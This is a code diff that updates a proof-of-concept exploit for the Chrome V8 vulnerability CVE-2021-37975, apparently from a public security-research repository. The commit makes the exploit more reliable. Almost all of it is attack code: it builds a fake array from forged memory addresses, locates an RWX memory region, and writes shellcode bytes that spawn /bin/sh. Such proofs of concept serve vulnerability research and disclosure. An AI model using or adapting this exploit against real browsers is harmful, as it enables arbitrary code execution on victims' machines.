Improve reliability

Author: m-y-mo

SecurityExploits/Chrome/v8/CVE-2021-37975/poc.js

@@ -148,7 +148,6 @@ function main() {
 	}
 	//These are there to stop main being optimized by JIT
     globalIdx['a' + globalIdx] = 1;
-    let obj = [1.1,1.1,1.1];
     //Can't refactor this, looks like it cause some double rounding problem (got optimized?)
 	for (let i = 0; i < objArr.length; i++) {
 	  let thisArr = objArr[i];
@@ -173,29 +172,17 @@ function main() {
     let index = result.idx;
 
     let instanceAddr = ftoi32(larr[index])[0];
+    let instanceFloatAddr = larr[index];
     console.log("found instance address: 0x" + instanceAddr.toString(16) + " at index: " + index);
+	let x = {};
 	for (let i = 0; i < objArr.length; i++) {
 	  let thisArr = objArr[i];
-	  thisArr.fill(obj);
+	  thisArr.fill(x);
 	}
-    globalIdx['a' + globalIdx + 2000] = 1;
-
-    let addr = ftoi32(larr[index])[0];
-    let objEleAddr = addr - 0x20 + 0x8;
-    let floatAddr = i32tof(objEleAddr, objEleAddr);
-    let floatMapAddr = i32tof(mapAddr, mapAddr);
-    //Faking an array at using obj[0] and obj[1]
-    obj[0]  = floatMapAddr;
-    let eleLength = i32tof(instanceAddr + rwxOffset, 10);
-
-    obj[1] = eleLength;
 
-    larr[index] = floatAddr;
-
-    console.log("array address: 0x" + addr.toString(16));
-    console.log("array element address: 0x" + objEleAddr.toString(16));
+    globalIdx['a' + globalIdx + 5000] = 1;
 
-    let rwxAddr = 0;
+    larr[index] = instanceFloatAddr;
     let objArrIdx = -1;
     let thisArrIdx = -1;
     for (let i = 0; i < objArr.length; i++) {
@@ -204,21 +191,46 @@ function main() {
       let thisArr = objArr[i];
       for (let j = 0; j < thisArr.length; j++) {
         let thisObj = thisArr[j];
-        if (thisObj != obj) {
-          console.log("fake array at: " + i + " index: " + j);
+        if (thisObj == instance) {
+          console.log("found instance object at: " + i + " index: " + j);
           objArrIdx = i;
           thisArrIdx = j;
-          if (!(thisObj instanceof Array)) {
-            console.log("failed getting fake array.");
-            restart();
-            return;
-          }
-          rwxAddr = thisObj[0];
-          console.log("rwx address at: 0x" + ftoi(rwxAddr).toString(16));
         }
       }
     }
     globalIdx['a' + globalIdx + 4000] = 1;
+    if (objArrIdx == -1) {
+      console.log("failed getting fake object index.");
+      restart();
+      return;
+    }
+    let obj = [1.1,1.1,1.1];
+    let thisArr = objArr[objArrIdx];
+    thisArr.fill(obj);
+    globalIdx['a' + globalIdx + 2000] = 1;
+
+    let addr = ftoi32(larr[index])[0];
+    let objEleAddr = addr + 0x18 + 0x8;
+    let floatAddr = i32tof(objEleAddr, objEleAddr);
+    let floatMapAddr = i32tof(mapAddr, mapAddr);
+    //Faking an array at using obj[0] and obj[1]
+    obj[0]  = floatMapAddr;
+    let eleLength = i32tof(instanceAddr + rwxOffset, 10);
+
+    obj[1] = eleLength;
+
+    larr[index] = floatAddr;
+    console.log("array address: 0x" + addr.toString(16));
+    console.log("array element address: 0x" + objEleAddr.toString(16));
+    let rwxAddr = 0;
+    let fakeArray = objArr[objArrIdx][thisArrIdx];
+    if (!(fakeArray instanceof Array)) {
+      console.log("fail getting fake array.");
+      restart();
+      return;
+    }
+    rwxAddr = fakeArray[0];
+    console.log("rwx address at: 0x" + ftoi(rwxAddr).toString(16));
 
     if (rwxAddr == 0) {
       console.log("failed getting rwx address.");
@@ -228,15 +240,12 @@ function main() {
 
     //Read shellArray address
     let shellArray = new Uint8Array(100);
-    let thisArr = objArr[objArrIdx];
+    thisArr = objArr[objArrIdx];
     thisArr.fill(shellArray);
 
     let shellAddr = ftoi32(larr[index])[0];
     console.log("shellArray addr: 0x" + shellAddr.toString(16));
     obj[1] = i32tof(shellAddr + 0x20, 10);
-    //Place fake array back into objArr[objArrIdx][thisArrIdx]
-    larr[index] = floatAddr;
-    let fakeArray = objArr[objArrIdx][thisArrIdx];
     fakeArray[0] = rwxAddr;
     var shellCode = [0x31, 0xf6, 0x31, 0xd2, 0x31, 0xc0, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, 0x56, 0x53, 0x54, 0x5f, 0xb8, 0x3b, 0, 0, 0, 0xf, 0x5];
     for (let i = 0; i < shellCode.length; i++) {